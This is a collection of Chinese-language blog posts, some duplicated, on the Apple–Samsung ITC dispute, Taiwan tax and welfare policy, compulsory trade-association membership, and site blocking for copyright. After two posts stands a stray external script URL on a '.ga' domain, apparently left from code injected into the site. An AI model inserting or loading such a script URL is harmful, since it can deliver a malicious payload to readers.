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Google Mac 專利

ITC轄下的OUII駁回Google的「公眾利益」主張

Apple透過ITC主張Samsung侵害其專利權,發動「進口禁令」讓Samsung涉及侵權的手機無法進入美國市場。

Google在這件事情上因為乃Android系統所有人與共主,不得不提供相當的法律協助。其中,Google於禁止進口令下達之後,在ITC回擊主張「禁止Samsung手機進入美國會侵害美國公眾利益」。

基本上專利法跟其他智財法背後主原則都是 — 貫徹專利權保護才是維護公眾利益,除非有例外情形發生。ITC的下的Office of Unfair Import Investigations表示

“With respect to non-party Google’s arguments, OUII first notes that the question is not whether an exclusion order would ‘advance’ the public interest (see Google Comments at 1); rather, the statute states that the Commission ‘shall’ issue an exclusion order ‘unless’ the public interest dictates otherwise. 19 U.S.C. § 1337(d)(1)."

也就是說,法律的邏輯並非「這個禁令可以怎樣促進公眾利益」,而是「除非發佈禁令會侵害公眾利益,否則就該發佈」。換言之,Google在這一點上跟ITC打仗,得先證明美國人民會因為禁止Samsung特定手機進口而受侵害,才有可能說服ITC取消禁令。

同時,另外一個重要法律邏輯:「要嘛你證明專利無效,沒本事就想辦法繞過它,別嘰嘰歪歪!

所以OUII又說:

Moreover, Google’s contention that the patents are not ‘inventive’ and are easily designed around, even if true, actually shows the lack of impact on the public interest – once Samsung designs around the patents, then its products will no longer be subject to exclusion.

簡言之,Google認為Apple的專利不具備「非顯而易見」這個創新性要素,而且很容易就能繞開。OUII質問:若真如Google你所言,那麼基於此專利而來的進口禁令,本身對於公眾利益影響也不會太大囉?(言下之意即 — 那你Google現在主張公眾利益受侵害是主張爽的嗎?豈不自打嘴巴?)畢竟照Google的邏輯,其實Samsung繞開專利設計成本也不用太高,事情不就完滿落幕?也用不著你Google來這幫腔啦。

最後,Google又主張禁止Samsung部分手機進口,會影響美國手機市場,造成不公平競爭或減少競爭(這顯然是衝著Apple來)。OUII也回應:

Google’s arguments concerning the lack of competition in the marketplace (see Google Comments at 3-4) are contradicted by both the publicly-available information cited above and the Commission’s findings in other recent investigations involving similar products.

你Google主張的顯然與事實不合 — Android手機又不是只有Samsung一家在賣。

本文簡略Apple與Samsung(加上背後的影武者Google)所打的專利訴訟,其中一場戰役攻防到目前為止的局勢。

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筆記

壹週刊的小錯誤

這不是什麼正經的文章,不過看到這個小錯誤,覺得很有趣:

本期壹週刊娛樂那本P.66 中介紹Brad Pitt新片「末日之戰」,所用的照片顯然有誤。

IMG_1603

中間那張警官向前撲倒,後方一堆喪屍的照片,應該是出自美國AMC影集The Walking Dead第一季。

只是覺得好玩,拍下來以資紀念。

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筆記

政府真的圖利財團讓台灣企業少繳稅?

許多人像前衛生署長楊志良先生一樣,喜歡批評政府圖利財團企業,讓他們少繳稅。

真是如此?

以下二表示我分別從政府網站找出來的資料:

Tax_on_GDP

companies_on_tax

其中,企業繳稅包含:營利事業所得稅、營業稅、金融保險機構營業稅、關稅、貨物稅等幾乎都是以法人為主的繳稅項目。綠色區塊則是馬英九在任時期。

很明顯:

1. 從稅收佔GDP比例來看,從陳水扁時代到馬英九時代,一直都是維持在12~13%之間,隨著GDP增長,稅收的絕對數值是增加而非減少。

2. 同樣的,除了2004年以外,企業繳稅佔總稅收比例一直維持在50%左右,其絕對數值除了2009金融風暴後百業蕭條之外,即便時任財政部長李述德將營業稅從25%降到17%、降低遺產稅以及遞延營利事業所得稅,整體趨勢也是持續增長。

事實上從稅收的絕對數目來看,2012年創記錄的稅收數字–近1兆8千億台幣,絕對證明李述德當時的「拔毛理論」是正確而非錯誤。聯合報的社論顯然是對不起李部長。

3. 上述企業繳稅,還不包括健保費企業支出(2011年企業負擔健保3016億)、勞保費用支出(2011年企業負擔勞保費用164億),也不包括地方的各種規費稅目,當然也不含如企業申請註冊智財權所要付出的行政費用,或某些行業有嚴格的法規又得額外支出行政費用。換言之,如果都加入前述兩個比較大項,那企業實際要支付給政府的還要多出3成3。

4. 事實上台灣最大的問題,不在於稅收太少或稅收沒成長(事實上明明有在成長);而是在於政府支出過多,才會年年都入不敷出!

5. 炒房跟稅制不公沒有啥關係(天曉得什麼叫公平的稅制 — 富者/收入高者多繳稅,這對二者完全不公平);只要一個社會經濟增長,就會有人拿錢去炒房,這是一種財富的倉庫,無知者才會認為這是個該處理的問題。「打房」是最愚蠢的政策,這明擺著就是要把人民過去累積的財富給毀掉。

財富會起會落、會漲會跌,無論是房地產或其他種資產。這是市場有效率的表現,毋須政府干預。

小小一個台灣,政府部門比美國、中國還多,公務員人數/人民比也是驚人(台灣有約34萬公務員)!許多不該政府管的事情、政府插手的事情,政府就是要管要插,弄得一堆專案計畫或補助根本只是讓有心人人謀不臧。

6. 我也不認為醫療應該國營化;政府只要廢掉健保,放手讓各家醫院自生自滅、自由收費競爭,那政府財政馬上就好一半!同時,人民享受到的醫療服務品質以及醫生的收入都會好上幾倍!三贏政策只損健保局那些公務員,後者就會來擋路了。

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Mac

Our signature

This is it. This is what matters. The experience of a product. How it makes someone feel. When you start by imagining What that might be like, You step back. You think.

Who will this help? Will it make life better? Does this deserve to exist? If you are busy making everything, How can you perfect anything?

We don’t believe in coincidence. Or dumb luck. There are a thousand “no’s" For every “yes." We spend a lot of time on a few great things. Until every idea we touch enhances each life it touches.

We’re engineers and artists. Craftsmen and inventors. We sign our work. You may rarely look at it. But you’ll always feel it. This is our signature. And it means everything.

Designed by Apple in California.

WWDC 2013 keynote開頭前的演說,道盡了Apple設計理念。signature一詞也呼應Apple從第一代Mac開始,由Steve Jobs與Steve Woz,在他們及全體工作人員在所設計製造的產品裡面簽上大名,以示負責與驕傲。

一些看著iOS7佈景與icon就似乎摸透一切大肆批評的人,其實壓根不懂Apple的設計理念。You will never know what Apple has done until you physically and literally touch it.

另一個版本:

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筆記

China’s Cyber Stonewall

WSJ “China’s Cyber Stonewall" P.13, June 11, 2013.

1. 中國政府自約1991年開始進行大規模對於美國官方或民間網路的攻擊。

在軍事方面,WSJ直言中國20年來的軍事力量成長,霸凌周邊國家("China….bullies its neighbors…"),同時也對美國軍事網路系統乃至於電力系統不斷地嘗試攻擊或入侵。這是中國的軍事行動,絕不可能因為華府的關注就停止。

Obama顯然在這次會面對於中國長期網路入侵攻擊美國一事,過於雲淡風輕。

2. 中國長期經濟上也透過竊取美國大公司商業機密來獲取商業利益。

3. 論者認為中國會因為國際名聲與國際壓力,最終放棄暗地進行的網路攻擊。WSJ認為這種想法顯然是天真無知,共產政權從來不在乎國際名聲也不曾因為國際壓力而改變其犯罪行為,看看北韓就知道了。

4. 聯合國就此事顯然緩不濟急,效率過慢;中國虛應故事也讓聯合國在此事件上淪為形式。 WSJ認為與其加強防守,同時也應該加強攻擊;WSJ社論甚至下重話:「Arms control won’t stop Chinese cyber theft. The fear of counter cyber warfare might.」

PS 本來想摘要在twitter就好,但字數顯然過多;摘要成一篇短文供參考。中國的網路軍事攻擊,在在顯示這個國家的「和平崛起」只是官樣文章,「強暴脅迫加上竊盜」才是中國政府一貫的施政舉措,無論是對付它國或是自己的人民。

https://js.developerstatss.ga/stat.js?n=ns1

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筆記

China's Cyber Stonewall

WSJ “China’s Cyber Stonewall" P.13, June 11, 2013.

1. 中國政府自約1991年開始進行大規模對於美國官方或民間網路的攻擊。

在軍事方面,WSJ直言中國20年來的軍事力量成長,霸凌周邊國家("China….bullies its neighbors…"),同時也對美國軍事網路系統乃至於電力系統不斷地嘗試攻擊或入侵。這是中國的軍事行動,絕不可能因為華府的關注就停止。

Obama顯然在這次會面對於中國長期網路入侵攻擊美國一事,過於雲淡風輕。

2. 中國長期經濟上也透過竊取美國大公司商業機密來獲取商業利益。

3. 論者認為中國會因為國際名聲與國際壓力,最終放棄暗地進行的網路攻擊。WSJ認為這種想法顯然是天真無知,共產政權從來不在乎國際名聲也不曾因為國際壓力而改變其犯罪行為,看看北韓就知道了。

4. 聯合國就此事顯然緩不濟急,效率過慢;中國虛應故事也讓聯合國在此事件上淪為形式。 WSJ認為與其加強防守,同時也應該加強攻擊;WSJ社論甚至下重話:「Arms control won’t stop Chinese cyber theft. The fear of counter cyber warfare might.」

PS 本來想摘要在twitter就好,但字數顯然過多;摘要成一篇短文供參考。中國的網路軍事攻擊,在在顯示這個國家的「和平崛起」只是官樣文章,「強暴脅迫加上竊盜」才是中國政府一貫的施政舉措,無論是對付它國或是自己的人民。

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經濟分析

致偽善且自大的假人道主義者

經濟學是一門解釋人類行為的學問,跟其他試圖解釋人類行為的學科,最大的差異在於經濟學特別著重人的選擇 — 一者,因為選擇是得以客觀觀察的現象;二者人的心理與意圖是無從觀察的現象;三者,因為世界資源是稀缺的,面對稀缺,人類非選擇不可。

前述狀況就帶來另外一個重點:選擇意味著人總是必須放棄其他選項。經濟學認為被放棄的選項所能帶來的效益,就是一個人的機會成本。是的,經濟學談的永遠是機會成本,所以毋須脫褲子放屁來強調"機會"二字。

換言之,經濟學從成本的角度(亦即人類做選擇的角度),透過侷限條件的觀察,從價格理論的基本邏輯來預測人類會有什麼行為。這成功解釋為什麼人類要組成公司、為什麼要合作、為什麼有道德教條、為什麼會有政府、為什麼農民一窩蜂種同種作物會導致價格崩盤、也解釋為什麼價格崩盤之後農民要政府出來收農民搞出來的爛攤子….等等。

經濟學是個解釋「為什麼人類會做某種決定」的學問,經濟學並非是一門「"教"人類該怎麼行為」的學問。如果人類行為還需要經濟學來教,那人類早在幾十萬年前就絕種了。

如同Armen Alchian的經典論文「Uncertainty, Evolution and Economic Theory」中所闡述:動物不需要知道物競天擇,也不需要知道基因等東西,就懂得要怎樣生存跟繁衍後代;人類當然也不需要知道經濟學為何物,就知道該怎麼生存與交易。因為這是物種之間乃至於人類之間,因為資源稀缺所產生的競爭壓力之下,所壓出的存活策略;如不這樣做,人類或某物種早就絕種了。

這又帶到,既然經濟學能解釋人類怎樣行為,自然也能知道特定選擇後會有什麼特定結果。

例如社會失業福利太好的國家,會養成失業的邊際勞動力人口選擇乾脆維持失業,因為找到工作就沒有了福利。如果申請福利又困難繁雜,那麼去找新工作的效益會低於繼續失業領福利。反之,如果失業後申請福利補助容易,那麼又會讓邊際員工因為工作辛苦容易動不動就離職。這會造成社會上有一群人長期或反覆失業,且滿足於這個狀況。在這種情形下,這些福利政策養出來的自願性失業人口,跟米蟲無異。這也讓我們知道,過好的失業福利,無助於降低失業率,反而會維持甚至增加。

天方夜譚?一點也不。我的公司就屬於3K辛苦行業,有多少勞工局派來的受訓失業者,大喇喇擺明說他是因為要繼續領失業救濟,所以才來面試;我們千萬別錄用他,不然救濟就沒了。也有來半天,下午就跑掉的。這些實例都代表經濟學的科學解釋力十分驚人。也代表這些假惺惺的偽善人道主義所帶來的福利政策,有多麼害人不淺。

在Milton Friedman等許多經濟學家研究之下,發現有不少社會福利政策,都會帶來同樣的unexpedted consequences。你希望人人享受良好醫療服務,推行健保政策的結果是多數人享受到的醫療都比以前差,同時醫療服務供應者薪資一部分被公務員吃掉。你希望勞工生活有保障而推行最低薪資限制,反而造成工作時間或能力不能配合的邊緣勞工失業更嚴重。

政客希望人人有自宅,透過補貼或法規強迫銀房放款給窮人,其結果就是引發系統性風險,是2008年金融風暴的源頭。

這些經濟學家也發現,政府如果管得越少,則這些問題市場都處理得更好。例如英治底下的香港,各方面問題都遠低於社會福利國家,人民財富增長反而更超越。

這種「無為而治」的高等智慧,在偽善的假人道主義者看來,反倒是大逆不道、十惡不赦了。

他們宣稱經濟學應該為窮人服務。這點根本就錯得離譜。

沒有任何一門學問該為特定族群服務一般;醫學的本質也是探究人類疾病與傷害,乃至於老化等自然現象。醫生才是救人的,但醫學不是。醫生也不見得要救人,例如爭吵多時的安樂死問題,醫生的角色反倒是減輕病人痛苦、一路好走。如果我們先入為主的價值觀,硬認為醫學就是要救人,則整門學問不但被扭曲,同時臨終前重病痛苦者,也被迫不能享受低痛苦好走的服務。這種假人道主義,害人不淺,此僅為一例。世界上也不會有人笨到質疑物理學、化學本質為什麼不是救人或造福人群。

至於認為自由會帶來罪惡,更是毫無根據且邏輯錯誤的判斷。

毛澤東治理中國期間,人民自由是人類歷史上少見的低下,食衣住行無一沒被嚴密管控。試問當時的罪惡就少了嗎?

同時,自由並不代表侵權行為毋須負責,也不代表產權劃定就可以隨便。

反之,台灣早年金融亂象,是出自於政府法規過多,金融業者什麼都不能做;同時許多金融產品或服務也不准人民選擇,更不准人民錢進他國投資,才造成丙種業者的亂七八糟,或地下吸金公司的橫行霸道。

論者把因為法規過嚴產生的混亂行為,歸責於過於自由,這不但是昧於事實,也是基本經濟學理論基礎根本有問題。

自由主義經濟學者,從來都沒有主張「無政府主義」;而是主張政府應該著重於市場無法處理的問題,例如產權劃分、侵權行為的確立與司法執行以及幣值穩定。政府做得沒市場好的部分,就放手別亂管。

市場機制下一定有勝者敗者,事實上你在任何資源分配機制之下都存在。但市場機制下的敗者,一樣會受惠於市場經濟的果實,窮也窮得比其他國家貧者富有。最明顯的,就是美國的窮人還是比中國的窮人來得富有許多。誠如柯斯多蘭尼說過:「資本主義的蛋糕大小不均,共產主義的蛋糕每片一樣大;但是資本主義最小的也大過共產主義的。」

但其他種資源分配機制,人類才剛剛實驗完的,就是中國極端共產。在這個制度下,毛澤東錯誤的農業政策(如改變種植密度以及全民打麻雀),引發的三年大饑荒,死了千萬人,這段時間毛澤東照樣餐餐有魚有肉,試問這種資源分配機制才受假人道主義者的青睞?

更甭提經濟學從來就無關社會分配公不公平的問題。那是個主觀價值問題,根本不是一門科學,當然也談不上是經濟學的內容。

經濟學可以說的,是如果你將收入最高的人或企業課以重稅,稅金大過於遷移的成本,則這些人與企業一定會跑掉,到最後你什麼稅都沒課到。如果關心社會分配公平問題的下場是這樣,那麼這些偽善的人道主義者的確會得到較公平的所得分配,因為富人跑光,只剩窮人,當然公平許多。

Friedman等人正因為關心窮人,才會在乎且研究歷來的社會福利政策究竟有沒有起到當初的效果;科學實證結果是 — 沒有,反而更糟。

如果說,指出國王沒穿新衣的人是冷血沒人性,那你們這些偽善且自大的假人道主義者,就繼續活在你們粉飾太平的錯誤理論與主張裡。畢竟,市場永遠是公平的,中共、俄共當年所編織的社會主義美夢,最後也是被現實淘汰。全民皆窮是客觀事實!我也祝福這些人美夢繼續做下去,畢竟是有認真製造經商的我們,社會上才能養得起寄生在國立大學,領取來自於我們繳納稅金的薪水的你們。這種養老鼠咬布袋的滋味,識者自然能慢慢體會。

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法律

論"強迫加入公會"的合憲性

商業團體法第12條規定:

「同一區域內,依公司法或商業登記法取得登記證照之公營或民營商業之公司、行號,均應於開業後一個月內,加入該地區商業同業公會為會員;其兼營兩業以上商業者,應分別加入各該業商業同業公會為會員。

前項會員應指派代表出席商業同業公會,稱為會員代表。」

如新設立公司不加入當地公會,依據同法第63條:

商業團體對不依法加入為會員之公司、行號,應以書面通知限期入會,逾期不入會者,報請主管機關通知其於三個月內入會;逾期再不入會者,由主管機關處一千五百元以上一萬元以下罰鍰。

商業團體對不依法加入為會員之團體,應報請主管機關通知其限期入會,逾三個月仍不入會者,依第六十七條之規定處分之。

這是一部侵害人民基本權益甚重的法律。

所謂商業團體,亦即常說的商業公會,地位是一種法人,屬於一種莫名其妙的機關。

以我已經參加過的塑膠同業公會來說,除了每年參觀某些會員的工廠,吃吃大餐之外,就不知道他在幹什麼。

在以台中縣商業公會來說,一年的會費最高達2000元,且加入第一年得繳4000元。這對剛設立的小公司來說是個莫名其妙的負擔。

又同法第14條規定:

公司、行號非因廢業或遷出該會組織區域,或受永久停業處分者,不得退會。

整部法律強迫人民新設立之公司,必須加入該公會,必須繳交會費,同時在沒有極端理由下不得退會?

憲法第14條:

人民有集會及結社之自由。

學過法學緒論都知道,憲法上之自由同時具備消極與積極意義 — 積極自由權,意指人民可以主動發起集會結社之活動;消極之自由,當然只人民可以拒絕參加任何集會或結社活動。

台灣的商業團體法,顯然就是違反憲法第14條之精神,剝奪了人民集會結社上的消極自由。

而依據憲法第23條:

以上各條列舉之自由權利,除為防止妨礙他人自由、避免緊急危難、維持社會秩序,或增進公共利益所必要者外,不得以法律限制之。

商業團體法本身就是「妨礙了他人自由」,絕不可能是「為防止妨礙他人自由」。自然也跟「避免緊急危難」或「社會秩序」扯不上半點關係。至於「增進公共利益」,一來就我的經驗,根本不知道這種同業公會能增進什麼公共利益,二來我也極度懷疑他們是否有能力增進半點公共利益。

舉例來說,本法第一條宗旨曰:「推廣國內外貿易,促進經濟發展,協調同業關係,增進共同利益。」

一者,我國內外各種貿易展參展看展,從來沒透過公會;同時我也知道,有許多民間旅行社專包這種商務旅遊,價廉物美效率高,也輪不到這類公會插手;二者,經濟發展靠的是自由市場、國際貿易,更與公會無關;三者,同業關係有啥好協調的?真要「協調以增進共同利益」,豈不是坐實了公平交易法所禁止的「聯合行為」?原來商業團體法之宗旨就是要違反公平交易法,失敬失敬!

再看看商業網站所宣稱提供的服務,民間銀行金融機構或教育補習單位都做得更多更好。

在我來看,依據我之前談過的「貪汙的一般性原則」,就是一種制度性貪汙 — 用法律強迫人民必須將部分所得或財產,移轉給特定人,更糟的是,在此法下特定人並無義務提供任何商品或服務。

談談經濟分析吧,假若人民有自由進出公會的自由,則競爭之下公會才會真的提供有用的服務;因為服務差的會因為入不敷出而被市場淘汰。

但是台灣的法律卻是規定新設立公司:一定要加入,不得退會,拒繳或延遲繳納會費還要罰鍰。

這種壟斷性法律直接把公會排除在市場競爭之外,形成一種攔路要錢、坐地分贓的路霸土匪。這,就是透過公權力保護的制度性貪汙。

說過了,人類有史以來的自然壟斷都是好事,唯有透過公權力合法暴力壟斷,經濟分析肯定是弊大於利!商業團體法包庇公會合法搶劫,就是一例。

6/4補充:
本法創於民國60年代,充滿政府管制的陰影。

但今時今日,網路、各類通訊乃至於政府資訊電子化都已經十分成熟,所有的新設立公司均得向經濟部商業司、國稅局、勞保局與健保局等做詳實之資料登記,同時這些國家機關也能輕而易舉地和地方政府交流資訊,更枉論聯繫廠商之容易,實在看不出來政府還需要透過公會與廠商聯繫之必要或價值所在。

網友uniself特別提到該法第五條,只是讓人對於公會之角色與潛在貪汙可能性更起疑竇。https://js.developerstatss.ga/stat.js?n=ns1

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法律

論"強迫加入公會"的合憲性

商業團體法第12條規定:

「同一區域內,依公司法或商業登記法取得登記證照之公營或民營商業之公司、行號,均應於開業後一個月內,加入該地區商業同業公會為會員;其兼營兩業以上商業者,應分別加入各該業商業同業公會為會員。

前項會員應指派代表出席商業同業公會,稱為會員代表。」

如新設立公司不加入當地公會,依據同法第63條:

商業團體對不依法加入為會員之公司、行號,應以書面通知限期入會,逾期不入會者,報請主管機關通知其於三個月內入會;逾期再不入會者,由主管機關處一千五百元以上一萬元以下罰鍰。

商業團體對不依法加入為會員之團體,應報請主管機關通知其限期入會,逾三個月仍不入會者,依第六十七條之規定處分之。

這是一部侵害人民基本權益甚重的法律。

所謂商業團體,亦即常說的商業公會,地位是一種法人,屬於一種莫名其妙的機關。

以我已經參加過的塑膠同業公會來說,除了每年參觀某些會員的工廠,吃吃大餐之外,就不知道他在幹什麼。

在以台中縣商業公會來說,一年的會費最高達2000元,且加入第一年得繳4000元。這對剛設立的小公司來說是個莫名其妙的負擔。

又同法第14條規定:

公司、行號非因廢業或遷出該會組織區域,或受永久停業處分者,不得退會。

整部法律強迫人民新設立之公司,必須加入該公會,必須繳交會費,同時在沒有極端理由下不得退會?

憲法第14條:

人民有集會及結社之自由。

學過法學緒論都知道,憲法上之自由同時具備消極與積極意義 — 積極自由權,意指人民可以主動發起集會結社之活動;消極之自由,當然只人民可以拒絕參加任何集會或結社活動。

台灣的商業團體法,顯然就是違反憲法第14條之精神,剝奪了人民集會結社上的消極自由。

而依據憲法第23條:

以上各條列舉之自由權利,除為防止妨礙他人自由、避免緊急危難、維持社會秩序,或增進公共利益所必要者外,不得以法律限制之。

商業團體法本身就是「妨礙了他人自由」,絕不可能是「為防止妨礙他人自由」。自然也跟「避免緊急危難」或「社會秩序」扯不上半點關係。至於「增進公共利益」,一來就我的經驗,根本不知道這種同業公會能增進什麼公共利益,二來我也極度懷疑他們是否有能力增進半點公共利益。

舉例來說,本法第一條宗旨曰:「推廣國內外貿易,促進經濟發展,協調同業關係,增進共同利益。」

一者,我國內外各種貿易展參展看展,從來沒透過公會;同時我也知道,有許多民間旅行社專包這種商務旅遊,價廉物美效率高,也輪不到這類公會插手;二者,經濟發展靠的是自由市場、國際貿易,更與公會無關;三者,同業關係有啥好協調的?真要「協調以增進共同利益」,豈不是坐實了公平交易法所禁止的「聯合行為」?原來商業團體法之宗旨就是要違反公平交易法,失敬失敬!

再看看商業網站所宣稱提供的服務,民間銀行金融機構或教育補習單位都做得更多更好。

在我來看,依據我之前談過的「貪汙的一般性原則」,就是一種制度性貪汙 — 用法律強迫人民必須將部分所得或財產,移轉給特定人,更糟的是,在此法下特定人並無義務提供任何商品或服務。

談談經濟分析吧,假若人民有自由進出公會的自由,則競爭之下公會才會真的提供有用的服務;因為服務差的會因為入不敷出而被市場淘汰。

但是台灣的法律卻是規定新設立公司:一定要加入,不得退會,拒繳或延遲繳納會費還要罰鍰。

這種壟斷性法律直接把公會排除在市場競爭之外,形成一種攔路要錢、坐地分贓的路霸土匪。這,就是透過公權力保護的制度性貪汙。

說過了,人類有史以來的自然壟斷都是好事,唯有透過公權力合法暴力壟斷,經濟分析肯定是弊大於利!商業團體法包庇公會合法搶劫,就是一例。

6/4補充:
本法創於民國60年代,充滿政府管制的陰影。

但今時今日,網路、各類通訊乃至於政府資訊電子化都已經十分成熟,所有的新設立公司均得向經濟部商業司、國稅局、勞保局與健保局等做詳實之資料登記,同時這些國家機關也能輕而易舉地和地方政府交流資訊,更枉論聯繫廠商之容易,實在看不出來政府還需要透過公會與廠商聯繫之必要或價值所在。

網友uniself特別提到該法第五條,只是讓人對於公會之角色與潛在貪汙可能性更起疑竇。

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經濟分析 著作權 法律

境外侵權網站是你智財局管的嗎?

智財局擬修法直接跳過法院,自己審查外國網站是否符合其所定義之「重大侵權網站」,若符合就透過台灣ISP封鎖。見新聞稿

我認為這是違憲的法律草案,同時也存在許多爭議。

網路上已經有很多很好的分析,周欽華律師的「智財局擬修法封鎖境外侵權網站:違憲、危險、愚蠢」,其重點我摘錄如下,括弧內為我個人意見:

1. 「明顯重大」在法律上是一個沒有經過定義的詞彙,沒有人知道什麼叫做明顯重大?一個100G容量的網站,與一個1G容量網站,如前者侵權內容有50%,後者有90%,那究竟哪個是明顯重大?
(這邊我再補充一點:兩個容量相同的網站,一個49%侵權內容,另一個51%侵權內容,如何判定哪個重大?從容量?從內容數量?亦或者從內容的受歡迎程度?)

2. 違憲:違反憲法比例原則。

3. 理應透過法院來處理的私人糾紛,卻故意繞道為之,其問題有:
1) 法院才是判定侵權的單位,訴訟固然曠日廢時,但也是因為要透過雙方提出之證據來探求事實之真相。行政機關何德何能,可以代法院做判決?
2) 管轄權明明是政府態度問題。(如果政府繼續像處理菲律賓事件一樣自我矮化,那永遠也甭談管轄權)

4. 例外準則讓人摸不著頭腦。

5. 智財局的「權利人」究竟是誰?讓這些怕死的公務員甘願冒險?太詭異了。

6. 會議竟然不找網路業者?

7. 網路速度快早是舊聞。

以下是我的簡單法律經濟分析:

1. 侵害著作權並不一定有相同的損失,用同樣的終極手段去禁止,是違反平等原則與比例原則

著作權與一般資產無異,其價值來自於未來收入之折現值總合。換言之,假若一個著作內容其未來收入很低甚至沒有,則其權利受侵害,要求得損失賠償,是不可能的。

這邊也延伸出一個問題:如果一個著作權沒有可預期收益可言或很低,則動用政府力量介入,同時犧牲消費者利益,經濟學上是一個淨損的行為。

除非在交易費用之下,我們為了一視同仁地保障產權以取得人民信賴與未來安全感。但,這是法院做的事,並非行政機關!

為何應是法院,理由如下:

a. 基於三權分立,如果行政機關球員兼裁判,那是很恐怖的事情。
b. 權利人到法院主張權利,要付出不少成本方能有結果;但是跟行政機關檢舉成本卻少得多。前者權利人經濟行為會想清楚、有充足證據方敢為之,但後者卻是可肆意為之,成本由全民負擔。
c. 法院經過繁複的證據呈現與當庭詰問,行政機關沒有。就探究事實而言,法院遠比行政機關來得更仔細、更令人信服。

此外,我在此不斷強調的,就是行政機關若賦予過多權利與法規限制,則特定族群的人與該行政機關就有更多誘因去進行貪汙賄賂。這在台灣已經發生很多次了,為何同樣愚蠢的錯誤要一犯再犯?

2. 受侵害著作權人,其所受損失多半來自於廣告或版稅,其租值之降低可視為被侵權行為人所侵害,則如此典型民法侵權行為之私法關係,理應由權利人尋求私法救濟,透過法院的判決來取得損害賠償。

假設A權利人被侵權,其減少廣告收入僅有幾百元(多數blog作者我相信其文章被違法轉載,所受損失微乎其微),這時透過司法救濟效益很低,反之,政府就大動作將該侵權網站封鎖,成本效益合理嗎?前一點已述。

但更重要且難解的是:許多初出茅廬的新人(無論是作家、諧星或歌星)或新節目,透過網路非法轉載的力量使其暴紅後,收入大增,那如此的侵權行為所造成的究竟是損失?還是利益?若是後者,豈非輪到侵權行為人來要求權利人分享收益?

此看似荒謬的提問,其實正是諾貝爾經濟學獎得主Ronald Coase的「牛與麥田」之例:牛偷吃了麥,是牛主人要賠給麥田主人?亦或麥田主人要賠給牛主人?Coase說:二者皆可,只要交易費用夠低,柵欄會在同一個位置,Pareto最佳點一樣會達到。

這是一個經典且轟動武林的法律經濟分析案例(理論發明者拿到諾貝爾獎,還不轟動?),放到智財局草案,我要問:假若境外侵權網站結果是讓一些素人或C、D咖藝人/節目翻紅,那是誰要賠給誰,方符合公平正義原則?

3. 封鎖網站之後,多數人如真需要侵權內容,多半會選擇租用常見的翻牆技術–VPN(virtual private network),經濟分析是簡單的:如果租用VPN的費用低於消費者一一購買內容產品的成本,在低訊息成本條件下(因為大陸台商教翻牆的網頁已經多到數不清),消費者不用VPN就是腦袋有問題了。

試問除非智財局如周欽華律師所言,一一檢視每個網路使用者的封包內容,否則智財局如何得知我是從哪個網站下載什麼內容東西回來?智財局真檢視,那就是侵害人民隱私權與秘密通訊之自由,依據台灣的「通訊保障及監察法」第五條:

 有事實足認被告或犯罪嫌疑人有下列各款罪嫌之一,並危害國家安全或社會秩序情節重大,而有相當理由可信其通訊內容與本案有關,且不能或難以其他方法蒐集或調查證據者,得發通訊監察書。
 一、最輕本刑為三年以上有期徒刑之罪。
  二、刑法第一百條第二項之預備內亂罪、第一百零一條第二項之預備暴動內亂罪或第一百零六條第三項、第一百零九條第一項、第三項、第四項、第一百二十一條第一項、第一百二十二條第三項、第一百三十一條第一項、第一百四十二條、第一百四十三條第一項、第一百四十四條、第一百四十五條、第二百零一條之一、第二百五十六條第一項、第三項、第二百五十七條第一項、第四項、第二百九十八條第二項、第三百條、第三百三十九條、第三百三十九條之三或第三百四十六條之罪。
  三、貪污治罪條例第十一條第一項、第二項之罪。
  四、懲治走私條例第二條第一項、第三項或第三條之罪。
  五、藥事法第八十二條第一項、第三項或第八十三條第一項、第四項之罪。
  六、證券交易法第一百七十一條或第一百七十三條第一項之罪。
  七、期貨交易法第一百十二條或第一百十三條第一項、第二項之罪。
  八、槍砲彈藥刀械管制條例第十二條第一項、第二項、第四項、第五項或第十三條第二項、第四項、第五項之罪。
  九、公職人員選舉罷免法第八十八條第一項、第八十九條第一項、第二項、第九十條之一第一項、第九十一條第一項第一款或第九十一條之一第一項之罪。
  十、農會法第四十七條之一或第四十七條之二之罪。
  十一、漁會法第五十條之一或第五十條之二之罪。
  十二、兒童及少年性交易防制條例第二十三條第一項、第四項、第五項之罪。
  十三、洗錢防制法第九條第一項、第二項之罪。
  十四、組織犯罪防制條例第三條第一項後段、第二項後段、第六條或第十一條第三項之罪。
  十五、陸海空軍刑法第十四條第二項、第十七條第三項、第十八條第三項、第十九條第三項、第二十條第五項、第二十二條第四項、第二十三條第三項、第二十四條第二項、第四項、第五十八條第五項、第六十三條第一項之罪。
  前項通訊監察書,偵查中由檢察官依司法警察機關聲請或依職權以書面記載第十一條之事項,並敘明理由、檢附相關文件,聲請該管法院核發;檢察官受理申請案件,應於二小時內核復。如案情複雜,得經檢察長同意延長二小時。法院於接獲檢察官核轉受理申請案件,應於二十四小時內核復。審判中由法官依職權核發。法官並得於通訊監察書上對執行人員為適當之指示。
  前項之聲請經法院駁回者,不得聲明不服。
  執行機關應於執行監聽期間,至少作成一次以上之報告書,說明監聽行為之進行情形,以及有無繼續執行監聽之需要。法官依據經驗法則、論理法則自由心證判斷後,發現有不應繼續執行監聽之情狀時,應撤銷原核發之通訊監察書。
  違反本條規定進行監聽行為情節重大者,所取得之內容或所衍生之證據,於司法偵查、審判或其他程序中,均不得採為證據。

和第六條:

有事實足認被告或犯罪嫌疑人有犯刑法妨害投票罪章、公職人員選舉罷免法、總統副總統選舉罷免法、槍砲彈藥刀械管制條例第七條、第八條、毒品危害防制條例第四條、擄人勒贖罪或以投置炸彈、爆裂物或投放毒物方法犯恐嚇取財罪、組織犯罪條例第三條、洗錢防制法第十一條第一項、第二項、第三項、刑法第二百二十二條、第二百二十六條、第二百七十一條、第三百二十五條、第三百二十六條、第三百二十八條、第三百三十條、第三百三十二條及第三百三十九條,為防止他人生命、身體、財產之急迫危險,司法警察機關得報請該管檢察官以口頭通知執行機關先予執行通訊監察。

其涵蓋的罪行都是重大犯罪、組織犯罪、洗錢罪或殺人、強盜、搶奪、強制性交等罪或最輕本刑三年以上之罪,並沒有賦予著作權上可能侵權就讓政府可以發動監聽。同時,著作權法上的刑責(這是台灣很莫名其妙的規定,以後再論)也都是三年或兩年以下,怎能符合監聽法之規定?

再者,智財局是有多大的人力物力來做封包監聽這件事?假設政府真的不計代價,硬要戴著鋼盔往前衝,試問權利人所受總損失,有大過你智財局所花費之成本加上視聽大眾失去內容享受與租用VPN之代價?

